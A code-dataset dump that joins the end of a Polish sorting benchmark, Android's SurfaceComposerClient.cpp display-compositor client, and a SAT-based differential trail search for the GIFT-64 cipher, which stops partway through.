//badania dla 100 tablic 1 000 000 elem.:
Komunikat_ile_elementow(1000000);
Komunikat_sortowanie_losowe();
Badanie(ILTABLIC,1000000,0);
Komunikat_sortowanie_procentowe(250);
Badanie(ILTABLIC,1000000,250);
Komunikat_sortowanie_procentowe(500);
Badanie(ILTABLIC,1000000,500);
Komunikat_sortowanie_procentowe(750);
Badanie(ILTABLIC,1000000,750);
Komunikat_sortowanie_procentowe(950);
Badanie(ILTABLIC,1000000,950);
Komunikat_sortowanie_procentowe(990);
Badanie(ILTABLIC,1000000,990);
Komunikat_sortowanie_procentowe(997);
Badanie(ILTABLIC,1000000,997);
Komunikat_sortowanie_odwrotne();
Badanie_odwrotnie_posortowana(ILTABLIC,1000000);
std::cerr << "/";
return 0;
}
| [
"[email protected]"
] | |
439a0712cf2f851e3c3d5fc394ae97b6f0e1f2ae | 807b251c1e074290d17586d16eda8746e8c6b0dc | /libs/gui/SurfaceComposerClient.cpp | e7b5a83d0b1c1206db8246b6ec26ede414d896d5 | [
"LicenseRef-scancode-unicode",
"Apache-2.0"
] | permissive | TeamSourcery/frameworks_native | 8e2ae4314ab392cf17db60fea205180ea7bb57f4 | b29cfc5caac7d400c879892c842ff8013c5fa34d | refs/heads/master | 2020-04-27T22:57:33.753172 | 2013-01-17T00:02:49 | 2013-01-17T00:02:49 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 20,478 | cpp | /*
* Copyright (C) 2007 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define LOG_TAG "SurfaceComposerClient"
#include <stdint.h>
#include <sys/types.h>
#include <utils/Errors.h>
#include <utils/Log.h>
#include <utils/Singleton.h>
#include <utils/SortedVector.h>
#include <utils/String8.h>
#include <utils/threads.h>
#include <binder/IMemory.h>
#include <binder/IServiceManager.h>
#include <ui/DisplayInfo.h>
#include <gui/ISurface.h>
#include <gui/ISurfaceComposer.h>
#include <gui/ISurfaceComposerClient.h>
#include <gui/SurfaceComposerClient.h>
#include <private/gui/ComposerService.h>
#include <private/gui/LayerState.h>
namespace android {
// ---------------------------------------------------------------------------
ANDROID_SINGLETON_STATIC_INSTANCE(ComposerService);
ComposerService::ComposerService()
: Singleton<ComposerService>() {
Mutex::Autolock _l(mLock);
connectLocked();
}
void ComposerService::connectLocked() {
const String16 name("SurfaceFlinger");
while (getService(name, &mComposerService) != NO_ERROR) {
usleep(250000);
}
assert(mComposerService != NULL);
// Create the death listener.
class DeathObserver : public IBinder::DeathRecipient {
ComposerService& mComposerService;
virtual void binderDied(const wp<IBinder>& who) {
ALOGW("ComposerService remote (surfaceflinger) died [%p]",
who.unsafe_get());
mComposerService.composerServiceDied();
}
public:
DeathObserver(ComposerService& mgr) : mComposerService(mgr) { }
};
mDeathObserver = new DeathObserver(*const_cast<ComposerService*>(this));
mComposerService->asBinder()->linkToDeath(mDeathObserver);
}
/*static*/ sp<ISurfaceComposer> ComposerService::getComposerService() {
ComposerService& instance = ComposerService::getInstance();
Mutex::Autolock _l(instance.mLock);
if (instance.mComposerService == NULL) {
ComposerService::getInstance().connectLocked();
assert(instance.mComposerService != NULL);
ALOGD("ComposerService reconnected");
}
return instance.mComposerService;
}
void ComposerService::composerServiceDied()
{
Mutex::Autolock _l(mLock);
mComposerService = NULL;
mDeathObserver = NULL;
}
// ---------------------------------------------------------------------------
static inline
int compare_type(const ComposerState& lhs, const ComposerState& rhs) {
if (lhs.client < rhs.client) return -1;
if (lhs.client > rhs.client) return 1;
if (lhs.state.surface < rhs.state.surface) return -1;
if (lhs.state.surface > rhs.state.surface) return 1;
return 0;
}
static inline
int compare_type(const DisplayState& lhs, const DisplayState& rhs) {
return compare_type(lhs.token, rhs.token);
}
class Composer : public Singleton<Composer>
{
friend class Singleton<Composer>;
mutable Mutex mLock;
SortedVector<ComposerState> mComposerStates;
SortedVector<DisplayState > mDisplayStates;
uint32_t mForceSynchronous;
bool mAnimation;
Composer() : Singleton<Composer>(),
mForceSynchronous(0),
mAnimation(false)
{ }
void closeGlobalTransactionImpl(bool synchronous);
void setAnimationTransactionImpl();
layer_state_t* getLayerStateLocked(
const sp<SurfaceComposerClient>& client, SurfaceID id);
DisplayState& getDisplayStateLocked(const sp<IBinder>& token);
public:
sp<IBinder> createDisplay(const String8& displayName, bool secure);
sp<IBinder> getBuiltInDisplay(int32_t id);
status_t setPosition(const sp<SurfaceComposerClient>& client, SurfaceID id,
float x, float y);
status_t setSize(const sp<SurfaceComposerClient>& client, SurfaceID id,
uint32_t w, uint32_t h);
status_t setLayer(const sp<SurfaceComposerClient>& client, SurfaceID id,
int32_t z);
status_t setFlags(const sp<SurfaceComposerClient>& client, SurfaceID id,
uint32_t flags, uint32_t mask);
status_t setTransparentRegionHint(
const sp<SurfaceComposerClient>& client, SurfaceID id,
const Region& transparentRegion);
status_t setAlpha(const sp<SurfaceComposerClient>& client, SurfaceID id,
float alpha);
status_t setMatrix(const sp<SurfaceComposerClient>& client, SurfaceID id,
float dsdx, float dtdx, float dsdy, float dtdy);
status_t setOrientation(int orientation);
status_t setCrop(const sp<SurfaceComposerClient>& client, SurfaceID id,
const Rect& crop);
status_t setLayerStack(const sp<SurfaceComposerClient>& client,
SurfaceID id, uint32_t layerStack);
void setDisplaySurface(const sp<IBinder>& token, const sp<ISurfaceTexture>& surface);
void setDisplayLayerStack(const sp<IBinder>& token, uint32_t layerStack);
void setDisplayProjection(const sp<IBinder>& token,
uint32_t orientation,
const Rect& layerStackRect,
const Rect& displayRect);
static void setAnimationTransaction() {
Composer::getInstance().setAnimationTransactionImpl();
}
static void closeGlobalTransaction(bool synchronous) {
Composer::getInstance().closeGlobalTransactionImpl(synchronous);
}
};
ANDROID_SINGLETON_STATIC_INSTANCE(Composer);
// ---------------------------------------------------------------------------
sp<IBinder> Composer::createDisplay(const String8& displayName, bool secure) {
return ComposerService::getComposerService()->createDisplay(displayName,
secure);
}
sp<IBinder> Composer::getBuiltInDisplay(int32_t id) {
return ComposerService::getComposerService()->getBuiltInDisplay(id);
}
void Composer::closeGlobalTransactionImpl(bool synchronous) {
sp<ISurfaceComposer> sm(ComposerService::getComposerService());
Vector<ComposerState> transaction;
Vector<DisplayState> displayTransaction;
uint32_t flags = 0;
{ // scope for the lock
Mutex::Autolock _l(mLock);
transaction = mComposerStates;
mComposerStates.clear();
displayTransaction = mDisplayStates;
mDisplayStates.clear();
if (synchronous || mForceSynchronous) {
flags |= ISurfaceComposer::eSynchronous;
}
if (mAnimation) {
flags |= ISurfaceComposer::eAnimation;
}
mForceSynchronous = false;
mAnimation = false;
}
sm->setTransactionState(transaction, displayTransaction, flags);
}
void Composer::setAnimationTransactionImpl() {
Mutex::Autolock _l(mLock);
mAnimation = true;
}
layer_state_t* Composer::getLayerStateLocked(
const sp<SurfaceComposerClient>& client, SurfaceID id) {
ComposerState s;
s.client = client->mClient;
s.state.surface = id;
ssize_t index = mComposerStates.indexOf(s);
if (index < 0) {
// we don't have it, add an initialized layer_state to our list
index = mComposerStates.add(s);
}
ComposerState* const out = mComposerStates.editArray();
return &(out[index].state);
}
status_t Composer::setPosition(const sp<SurfaceComposerClient>& client,
SurfaceID id, float x, float y) {
Mutex::Autolock _l(mLock);
layer_state_t* s = getLayerStateLocked(client, id);
if (!s)
return BAD_INDEX;
s->what |= layer_state_t::ePositionChanged;
s->x = x;
s->y = y;
return NO_ERROR;
}
status_t Composer::setSize(const sp<SurfaceComposerClient>& client,
SurfaceID id, uint32_t w, uint32_t h) {
Mutex::Autolock _l(mLock);
layer_state_t* s = getLayerStateLocked(client, id);
if (!s)
return BAD_INDEX;
s->what |= layer_state_t::eSizeChanged;
s->w = w;
s->h = h;
// Resizing a surface makes the transaction synchronous.
mForceSynchronous = true;
return NO_ERROR;
}
status_t Composer::setLayer(const sp<SurfaceComposerClient>& client,
SurfaceID id, int32_t z) {
Mutex::Autolock _l(mLock);
layer_state_t* s = getLayerStateLocked(client, id);
if (!s)
return BAD_INDEX;
s->what |= layer_state_t::eLayerChanged;
s->z = z;
return NO_ERROR;
}
status_t Composer::setFlags(const sp<SurfaceComposerClient>& client,
SurfaceID id, uint32_t flags,
uint32_t mask) {
Mutex::Autolock _l(mLock);
layer_state_t* s = getLayerStateLocked(client, id);
if (!s)
return BAD_INDEX;
s->what |= layer_state_t::eVisibilityChanged;
s->flags &= ~mask;
s->flags |= (flags & mask);
s->mask |= mask;
return NO_ERROR;
}
status_t Composer::setTransparentRegionHint(
const sp<SurfaceComposerClient>& client, SurfaceID id,
const Region& transparentRegion) {
Mutex::Autolock _l(mLock);
layer_state_t* s = getLayerStateLocked(client, id);
if (!s)
return BAD_INDEX;
s->what |= layer_state_t::eTransparentRegionChanged;
s->transparentRegion = transparentRegion;
return NO_ERROR;
}
status_t Composer::setAlpha(const sp<SurfaceComposerClient>& client,
SurfaceID id, float alpha) {
Mutex::Autolock _l(mLock);
layer_state_t* s = getLayerStateLocked(client, id);
if (!s)
return BAD_INDEX;
s->what |= layer_state_t::eAlphaChanged;
s->alpha = alpha;
return NO_ERROR;
}
status_t Composer::setLayerStack(const sp<SurfaceComposerClient>& client,
SurfaceID id, uint32_t layerStack) {
Mutex::Autolock _l(mLock);
layer_state_t* s = getLayerStateLocked(client, id);
if (!s)
return BAD_INDEX;
s->what |= layer_state_t::eLayerStackChanged;
s->layerStack = layerStack;
return NO_ERROR;
}
status_t Composer::setMatrix(const sp<SurfaceComposerClient>& client,
SurfaceID id, float dsdx, float dtdx,
float dsdy, float dtdy) {
Mutex::Autolock _l(mLock);
layer_state_t* s = getLayerStateLocked(client, id);
if (!s)
return BAD_INDEX;
s->what |= layer_state_t::eMatrixChanged;
layer_state_t::matrix22_t matrix;
matrix.dsdx = dsdx;
matrix.dtdx = dtdx;
matrix.dsdy = dsdy;
matrix.dtdy = dtdy;
s->matrix = matrix;
return NO_ERROR;
}
status_t Composer::setCrop(const sp<SurfaceComposerClient>& client,
SurfaceID id, const Rect& crop) {
Mutex::Autolock _l(mLock);
layer_state_t* s = getLayerStateLocked(client, id);
if (!s)
return BAD_INDEX;
s->what |= layer_state_t::eCropChanged;
s->crop = crop;
return NO_ERROR;
}
// ---------------------------------------------------------------------------
DisplayState& Composer::getDisplayStateLocked(const sp<IBinder>& token) {
DisplayState s;
s.token = token;
ssize_t index = mDisplayStates.indexOf(s);
if (index < 0) {
// we don't have it, add an initialized layer_state to our list
s.what = 0;
index = mDisplayStates.add(s);
}
return mDisplayStates.editItemAt(index);
}
void Composer::setDisplaySurface(const sp<IBinder>& token,
const sp<ISurfaceTexture>& surface) {
Mutex::Autolock _l(mLock);
DisplayState& s(getDisplayStateLocked(token));
s.surface = surface;
s.what |= DisplayState::eSurfaceChanged;
}
void Composer::setDisplayLayerStack(const sp<IBinder>& token,
uint32_t layerStack) {
Mutex::Autolock _l(mLock);
DisplayState& s(getDisplayStateLocked(token));
s.layerStack = layerStack;
s.what |= DisplayState::eLayerStackChanged;
}
void Composer::setDisplayProjection(const sp<IBinder>& token,
uint32_t orientation,
const Rect& layerStackRect,
const Rect& displayRect) {
Mutex::Autolock _l(mLock);
DisplayState& s(getDisplayStateLocked(token));
s.orientation = orientation;
s.viewport = layerStackRect;
s.frame = displayRect;
s.what |= DisplayState::eDisplayProjectionChanged;
mForceSynchronous = true; // TODO: do we actually still need this?
}
// ---------------------------------------------------------------------------
SurfaceComposerClient::SurfaceComposerClient()
: mStatus(NO_INIT), mComposer(Composer::getInstance())
{
}
void SurfaceComposerClient::onFirstRef() {
sp<ISurfaceComposer> sm(ComposerService::getComposerService());
if (sm != 0) {
sp<ISurfaceComposerClient> conn = sm->createConnection();
if (conn != 0) {
mClient = conn;
mStatus = NO_ERROR;
}
}
}
SurfaceComposerClient::~SurfaceComposerClient() {
dispose();
}
status_t SurfaceComposerClient::initCheck() const {
return mStatus;
}
sp<IBinder> SurfaceComposerClient::connection() const {
return (mClient != 0) ? mClient->asBinder() : 0;
}
status_t SurfaceComposerClient::linkToComposerDeath(
const sp<IBinder::DeathRecipient>& recipient,
void* cookie, uint32_t flags) {
sp<ISurfaceComposer> sm(ComposerService::getComposerService());
return sm->asBinder()->linkToDeath(recipient, cookie, flags);
}
void SurfaceComposerClient::dispose() {
// this can be called more than once.
sp<ISurfaceComposerClient> client;
Mutex::Autolock _lm(mLock);
if (mClient != 0) {
client = mClient; // hold ref while lock is held
mClient.clear();
}
mStatus = NO_INIT;
}
sp<SurfaceControl> SurfaceComposerClient::createSurface(
const String8& name,
uint32_t w,
uint32_t h,
PixelFormat format,
uint32_t flags)
{
sp<SurfaceControl> result;
if (mStatus == NO_ERROR) {
ISurfaceComposerClient::surface_data_t data;
sp<ISurface> surface = mClient->createSurface(&data, name,
w, h, format, flags);
if (surface != 0) {
result = new SurfaceControl(this, surface, data);
}
}
return result;
}
sp<IBinder> SurfaceComposerClient::createDisplay(const String8& displayName,
bool secure) {
return Composer::getInstance().createDisplay(displayName, secure);
}
sp<IBinder> SurfaceComposerClient::getBuiltInDisplay(int32_t id) {
return Composer::getInstance().getBuiltInDisplay(id);
}
status_t SurfaceComposerClient::destroySurface(SurfaceID sid) {
if (mStatus != NO_ERROR)
return mStatus;
status_t err = mClient->destroySurface(sid);
return err;
}
inline Composer& SurfaceComposerClient::getComposer() {
return mComposer;
}
// ----------------------------------------------------------------------------
void SurfaceComposerClient::openGlobalTransaction() {
// Currently a no-op
}
void SurfaceComposerClient::closeGlobalTransaction(bool synchronous) {
Composer::closeGlobalTransaction(synchronous);
}
void SurfaceComposerClient::setAnimationTransaction() {
Composer::setAnimationTransaction();
}
// ----------------------------------------------------------------------------
status_t SurfaceComposerClient::setCrop(SurfaceID id, const Rect& crop) {
return getComposer().setCrop(this, id, crop);
}
status_t SurfaceComposerClient::setPosition(SurfaceID id, float x, float y) {
return getComposer().setPosition(this, id, x, y);
}
status_t SurfaceComposerClient::setSize(SurfaceID id, uint32_t w, uint32_t h) {
return getComposer().setSize(this, id, w, h);
}
status_t SurfaceComposerClient::setLayer(SurfaceID id, int32_t z) {
return getComposer().setLayer(this, id, z);
}
status_t SurfaceComposerClient::hide(SurfaceID id) {
return getComposer().setFlags(this, id,
layer_state_t::eLayerHidden,
layer_state_t::eLayerHidden);
}
status_t SurfaceComposerClient::show(SurfaceID id) {
return getComposer().setFlags(this, id,
0,
layer_state_t::eLayerHidden);
}
status_t SurfaceComposerClient::setFlags(SurfaceID id, uint32_t flags,
uint32_t mask) {
return getComposer().setFlags(this, id, flags, mask);
}
status_t SurfaceComposerClient::setTransparentRegionHint(SurfaceID id,
const Region& transparentRegion) {
return getComposer().setTransparentRegionHint(this, id, transparentRegion);
}
status_t SurfaceComposerClient::setAlpha(SurfaceID id, float alpha) {
return getComposer().setAlpha(this, id, alpha);
}
status_t SurfaceComposerClient::setLayerStack(SurfaceID id, uint32_t layerStack) {
return getComposer().setLayerStack(this, id, layerStack);
}
status_t SurfaceComposerClient::setMatrix(SurfaceID id, float dsdx, float dtdx,
float dsdy, float dtdy) {
return getComposer().setMatrix(this, id, dsdx, dtdx, dsdy, dtdy);
}
// ----------------------------------------------------------------------------
void SurfaceComposerClient::setDisplaySurface(const sp<IBinder>& token,
const sp<ISurfaceTexture>& surface) {
Composer::getInstance().setDisplaySurface(token, surface);
}
void SurfaceComposerClient::setDisplayLayerStack(const sp<IBinder>& token,
uint32_t layerStack) {
Composer::getInstance().setDisplayLayerStack(token, layerStack);
}
void SurfaceComposerClient::setDisplayProjection(const sp<IBinder>& token,
uint32_t orientation,
const Rect& layerStackRect,
const Rect& displayRect) {
Composer::getInstance().setDisplayProjection(token, orientation,
layerStackRect, displayRect);
}
// ----------------------------------------------------------------------------
status_t SurfaceComposerClient::getDisplayInfo(
const sp<IBinder>& display, DisplayInfo* info)
{
return ComposerService::getComposerService()->getDisplayInfo(display, info);
}
void SurfaceComposerClient::blankDisplay(const sp<IBinder>& token) {
ComposerService::getComposerService()->blank(token);
}
void SurfaceComposerClient::unblankDisplay(const sp<IBinder>& token) {
ComposerService::getComposerService()->unblank(token);
}
// ----------------------------------------------------------------------------
ScreenshotClient::ScreenshotClient()
: mWidth(0), mHeight(0), mFormat(PIXEL_FORMAT_NONE) {
}
#ifdef TOROPLUS_RADIO_FIX
status_t ScreenshotClient::update() {
sp<ISurfaceComposer> s(ComposerService::getComposerService());
if (s == NULL) return NO_INIT;
mHeap = 0;
return s->captureScreen(0, &mHeap,
&mWidth, &mHeight, &mFormat, 0, 0,
0, -1UL);
}
#endif
status_t ScreenshotClient::update(const sp<IBinder>& display) {
sp<ISurfaceComposer> s(ComposerService::getComposerService());
if (s == NULL) return NO_INIT;
mHeap = 0;
return s->captureScreen(display, &mHeap,
&mWidth, &mHeight, &mFormat, 0, 0,
0, -1UL);
}
status_t ScreenshotClient::update(const sp<IBinder>& display,
uint32_t reqWidth, uint32_t reqHeight) {
sp<ISurfaceComposer> s(ComposerService::getComposerService());
if (s == NULL) return NO_INIT;
mHeap = 0;
return s->captureScreen(display, &mHeap,
&mWidth, &mHeight, &mFormat, reqWidth, reqHeight,
0, -1UL);
}
status_t ScreenshotClient::update(const sp<IBinder>& display,
uint32_t reqWidth, uint32_t reqHeight,
uint32_t minLayerZ, uint32_t maxLayerZ) {
sp<ISurfaceComposer> s(ComposerService::getComposerService());
if (s == NULL) return NO_INIT;
mHeap = 0;
return s->captureScreen(display, &mHeap,
&mWidth, &mHeight, &mFormat, reqWidth, reqHeight,
minLayerZ, maxLayerZ);
}
void ScreenshotClient::release() {
mHeap = 0;
}
void const* ScreenshotClient::getPixels() const {
return mHeap->getBase();
}
uint32_t ScreenshotClient::getWidth() const {
return mWidth;
}
uint32_t ScreenshotClient::getHeight() const {
return mHeight;
}
PixelFormat ScreenshotClient::getFormat() const {
return mFormat;
}
uint32_t ScreenshotClient::getStride() const {
return mWidth;
}
size_t ScreenshotClient::getSize() const {
return mHeap->getSize();
}
// ----------------------------------------------------------------------------
}; // namespace android
| [
"[email protected]"
] | |
cfd6ab7dab1a4396983a1207751164c085d32802 | 5947598dcb06996d45201eec59e1afa152433e0e | /Differential.cpp | 913b6c257550676d5fd4419d4e0857e6cb6b2b75 | [] | no_license | Wbeaching/Improved_Attacks_GIFT64-SAT-GIFT64 | 0d1cc931a276dff0ed0dc75d234e38682d945a93 | 0dff1caf65675de6ab0aa7edf0f51883a576eacc | refs/heads/main | 2023-08-04T20:20:34.995890 | 2021-10-04T12:58:39 | 2021-10-04T12:58:39 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 11,847 | cpp | #include <cryptominisat5/cryptominisat.h>
#include <assert.h>
#include <vector>
#include <time.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <fstream>
#include <math.h>
using std::vector;
using namespace CMSat;
using namespace std;
int BestWeightInteger = 11;
int BestWeightDecimal = 1;
int Constraint[55][12] = {
{5, 5, 1, 5, 5, 1, 5, 5, 5, 5, 5, 1},
{1, 5, 1, 1, 1, 0, 1, 0, 5, 5, 5, 5},
{0, 1, 1, 5, 1, 1, 5, 1, 5, 5, 5, 5},
{1, 5, 0, 1, 1, 1, 1, 0, 5, 5, 5, 5},
{0, 1, 0, 1, 5, 0, 5, 1, 5, 5, 5, 5},
{5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 0, 1},
{1, 5, 1, 1, 5, 1, 0, 1, 5, 5, 5, 5},
{1, 5, 0, 5, 1, 0, 0, 1, 5, 5, 5, 5},
{5, 1, 5, 5, 5, 0, 0, 0, 0, 5, 5, 5},
{1, 1, 5, 1, 5, 5, 0, 0, 1, 5, 5, 5},
{5, 5, 0, 5, 5, 0, 5, 5, 5, 5, 5, 1},
{5, 0, 0, 5, 5, 5, 0, 1, 0, 5, 5, 5},
{5, 1, 5, 1, 0, 5, 1, 1, 5, 5, 5, 5},
{5, 0, 0, 0, 5, 5, 5, 5, 1, 5, 5, 5},
{5, 0, 5, 0, 0, 5, 5, 5, 1, 5, 5, 5},
{1, 0, 5, 5, 1, 5, 1, 1, 1, 5, 5, 5},
{0, 1, 5, 1, 5, 5, 1, 1, 1, 5, 5, 5},
{5, 5, 5, 0, 0, 5, 5, 0, 1, 5, 5, 5},
{5, 1, 5, 5, 0, 5, 1, 1, 0, 5, 5, 0},
{0, 1, 1, 0, 5, 5, 0, 5, 5, 5, 5, 5},
{5, 0, 5, 5, 0, 0, 5, 0, 5, 5, 1, 5},
{1, 5, 1, 5, 5, 5, 1, 1, 0, 5, 5, 5},
{0, 5, 5, 0, 1, 5, 1, 1, 5, 5, 5, 5},
{1, 1, 0, 5, 5, 5, 5, 1, 0, 5, 5, 5},
{5, 5, 1, 0, 0, 0, 5, 5, 1, 5, 5, 5},
{1, 5, 0, 0, 5, 5, 5, 1, 1, 5, 5, 5},
{5, 5, 0, 0, 0, 1, 5, 5, 1, 5, 5, 5},
{1, 5, 5, 5, 0, 1, 0, 1, 5, 5, 5, 5},
{5, 5, 5, 5, 0, 5, 0, 0, 1, 5, 5, 5},
{5, 0, 0, 5, 5, 5, 1, 0, 0, 5, 5, 5},
{5, 1, 5, 5, 0, 1, 1, 0, 5, 5, 5, 5},
{5, 5, 5, 5, 1, 5, 5, 0, 0, 5, 5, 5},
{0, 1, 0, 0, 5, 5, 5, 0, 5, 5, 5, 5},
{5, 0, 5, 0, 5, 5, 0, 0, 5, 5, 1, 5},
{5, 5, 1, 5, 5, 5, 5, 0, 5, 0, 5, 5},
{5, 5, 5, 5, 5, 1, 0, 5, 5, 0, 5, 5},
{5, 5, 5, 1, 5, 0, 5, 0, 0, 5, 5, 5},
{0, 1, 5, 5, 0, 1, 5, 0, 5, 5, 5, 5},
{0, 5, 5, 5, 0, 0, 0, 1, 5, 5, 5, 5},
{0, 0, 5, 5, 0, 5, 1, 1, 5, 5, 5, 5},
{1, 5, 5, 5, 5, 5, 5, 5, 5, 0, 5, 5},
{5, 0, 5, 1, 5, 5, 5, 5, 0, 5, 5, 5},
{5, 5, 5, 5, 1, 5, 0, 5, 0, 5, 5, 5},
{5, 5, 5, 1, 0, 5, 5, 1, 0, 5, 5, 5},
{5, 5, 5, 5, 5, 5, 5, 5, 1, 0, 5, 5},
{5, 5, 5, 5, 5, 5, 5, 5, 5, 1, 5, 1},
{5, 5, 5, 5, 1, 5, 5, 5, 5, 0, 5, 5},
{5, 5, 5, 5, 5, 5, 5, 5, 5, 1, 0, 5},
{0, 1, 1, 1, 5, 1, 1, 5, 5, 5, 5, 5},
{5, 0, 1, 1, 5, 0, 1, 0, 5, 5, 5, 5},
{0, 0, 1, 1, 5, 0, 0, 1, 5, 5, 5, 5},
{5, 0, 0, 5, 1, 1, 1, 0, 5, 5, 5, 5},
{0, 0, 0, 5, 1, 1, 0, 1, 5, 5, 5, 5},
{0, 1, 0, 5, 1, 0, 1, 5, 5, 5, 5, 5},
{1, 1, 1, 0, 5, 5, 1, 5, 5, 5, 5, 5}
};
void GenerateLess(int * x, int ** u, int * vn, int * cn,
SATSolver & solver, vector<Lit> & clause)
{
int n=(*vn);
int k=(*cn);
if (k>0)
{
clause.clear();
clause.push_back(Lit(x[0], true));
clause.push_back(Lit(u[0][0],false));
solver.add_clause(clause);
for (int j=1;j<k;j++)
{
clause.clear();
clause.push_back(Lit(u[0][j],true));
solver.add_clause(clause);
}
for (int i=1;i<n-1;i++)
{
clause.clear();
clause.push_back(Lit(x[i],true));
clause.push_back(Lit(u[i][0],false));
solver.add_clause(clause);
clause.clear();
clause.push_back(Lit(u[i-1][0],true));
clause.push_back(Lit(u[i][0],false));
solver.add_clause(clause);
clause.clear();
clause.push_back(Lit(x[i],true));
clause.push_back(Lit(u[i-1][k-1],true));
solver.add_clause(clause);
}
for (int j=1;j<k;j++)
{
for (int i=1;i<n-1;i++)
{
clause.clear();
clause.push_back(Lit(x[i],true));
clause.push_back(Lit(u[i-1][j-1],true));
clause.push_back(Lit(u[i][j],false));
solver.add_clause(clause);
clause.clear();
clause.push_back(Lit(u[i-1][j],true));
clause.push_back(Lit(u[i][j],false));
solver.add_clause(clause);
}
}
clause.clear();
clause.push_back(Lit(x[n-1],true));
clause.push_back(Lit(u[n-2][k-1],true));
solver.add_clause(clause);
}
if (k==0)
{
for (int i=0;i<n;i++)
{
clause.clear();
clause.push_back(Lit(x[i], true));
solver.add_clause(clause);
}
}
}
int main()
{
int trailround = 4;
int ** xin = new int * [trailround];
int ** p = new int * [trailround];
int ** q = new int * [trailround];
int ** m = new int * [trailround];
int ** w = new int * [trailround];
int ** xout = new int * [trailround];
for (int round = 0; round < trailround; round++)
{
xin[round] = new int [64];
p[round] = new int [16];
q[round] = new int [16];
m[round] = new int [16];
w[round] = new int [16];
xout[round] = new int [64];
}
// Allocate variable
int sx = 0;
for (int round = 0; round < trailround; round++)
{
for (int i = 0; i < 64; i++)
{
xin[round][i] = sx++;
}
for (int i = 0; i < 16; i++)
{
p[round][i] = sx++;
}
for (int i = 0; i < 16; i++)
{
q[round][i] = sx++;
}
for (int i = 0; i < 16; i++)
{
m[round][i] = sx++;
}
for (int i = 0; i < 16; i++)
{
w[round][i] = sx++;
}
}
for (int round = 0; round < trailround - 1; round++)
{
for (int i = 0; i < 64; i++)
{
xout[round][i] = xin[round + 1][i];
}
}
for (int i = 0; i < 64; i++)
{
xout[trailround - 1][i] = sx++;
}
int TotalProb = 16 * trailround * 3;
int Prob = BestWeightInteger;
int DecimalTotalProb = 16 * trailround;
int DecimalProb = BestWeightDecimal;
int ** UP = new int * [TotalProb - 1];
for (int i = 0; i < TotalProb - 1; i++)
{
UP[i] = new int [Prob];
}
for (int i = 0; i < TotalProb - 1; i++)
{
for (int j = 0; j < Prob; j++)
{
UP[i][j] = sx++;
}
}
int ** DUP = new int * [DecimalTotalProb - 1];
for (int i = 0; i < DecimalTotalProb - 1; i++)
{
DUP[i] = new int [DecimalProb];
}
for (int i = 0; i < DecimalTotalProb - 1; i++)
{
for (int j = 0; j < DecimalProb; j++)
{
DUP[i][j] = sx++;
}
}
SATSolver solver;
vector<Lit> clause;
solver.set_num_threads(1);
solver.new_vars(sx);
// Nonzero Input Difference
clause.clear();
for (int i=0;i<64;i++)
{
clause.push_back(Lit(xin[0][i],false));
}
solver.add_clause(clause);
for (int round = 0; round < trailround; round++)
{
int y[64];
int P[64] = {48,1,18,35,32,49,2,19,16,33,50,3,0,17,34,51,
52,5,22,39,36,53,6,23,20,37,54,7,4,21,38,55,
56,9,26,43,40,57,10,27,24,41,58,11,8,25,42,59,
60,13,30,47,44,61,14,31,28,45,62,15,12,29,46,63};
for (int i = 0; i < 64; i++)
{
y[i] = xout[round][P[i]];
}
for (int sbox = 0; sbox < 16; sbox++)
{
int X[12];
for (int i = 0; i < 4; i++)
{
X[i] = xin[round][4 * sbox + i];
X[i + 4] = y[4 * sbox + i];
}
X[8] = p[round][sbox];
X[9] = q[round][sbox];
X[10] = m[round][sbox];
X[11] = w[round][sbox];
for (int restriction = 0; restriction < 55; restriction++)
{
clause.clear();
for (int i = 0; i < 12; i++)
{
if (Constraint[restriction][i] == 1)
{
clause.push_back(Lit(X[i], true));
}
if (Constraint[restriction][i] == 0)
{
clause.push_back(Lit(X[i], false));
}
}
solver.add_clause(clause);
}
}
}
int * AddProb = new int [TotalProb];
for (int round = 0; round < trailround; round++)
{
for (int i = 0; i < 16; i++)
{
AddProb[48 * round + i] = p[round][i];
AddProb[48 * round + i + 16] = q[round][i];
AddProb[48 * round + i + 32] = m[round][i];
}
}
int NumProb = TotalProb;
int ConsProb = Prob;
GenerateLess(AddProb, UP, &NumProb, &ConsProb, solver, clause);
int * AddWeight = new int [DecimalTotalProb];
for (int round = 0; round < trailround; round++)
{
for (int i = 0; i < 16; i++)
{
AddWeight[16 * round + i] = w[round][i];
}
}
NumProb = DecimalTotalProb;
ConsProb = DecimalProb;
GenerateLess(AddWeight, DUP, &NumProb, &ConsProb, solver, clause);
lbool ret = solver.solve();
if (ret == l_True)
{
for (size_t round = 0; round < trailround; round++)
{
cout<<"Round: "<<(dec)<<round<<" ---------------------------- "<<"\n";
int tem[64];
cout<<"xin: "<<"\n";
for (size_t i = 0; i < 64; i++)
{
if (solver.get_model()[xin[round][i]]!=l_Undef)
{
if (solver.get_model()[xin[round][i]]==l_True)
{
tem[i]=1;
}
else
{
tem[i]=0;
}
}
}
for (int sbox = 0; sbox < 16; sbox++)
{
int a = 0;
for (int i = 0; i < 4; i++)
{
a ^= (tem[4 * sbox + i] << (3 - i));
}
cout<<(hex)<<a<<",";
if (((sbox + 1)%4) == 0)
{
cout<<" ";
}
}
cout<<"\n";
cout<<"xout: "<<"\n";
for (size_t i = 0; i < 64; i++)
{
if (solver.get_model()[xout[round][i]]!=l_Undef)
{
if (solver.get_model()[xout[round][i]]==l_True)
{
tem[i]=1;
}
else
{
tem[i]=0;
}
}
}
for (int sbox = 0; sbox < 16; sbox++)
{
int a = 0;
for (int i = 0; i < 4; i++)
{
a ^= (tem[4 * sbox + i] << (3 - i));
}
cout<<(hex)<<a<<",";
if (((sbox + 1)%4) == 0)
{
cout<<" ";
}
}
cout<<"\n";
}
}
for (int round = 0; round < trailround; round++)
{
delete [] xin[round];
delete [] p[round];
delete [] q[round];
delete [] m[round];
delete [] w[round];
delete [] xout[round];
}
delete [] xin;
delete [] p;
delete [] q;
delete [] m;
delete [] w;
delete [] xout;
for (int i = 0; i < TotalProb - 1; i++)
{
delete [] UP[i];
}
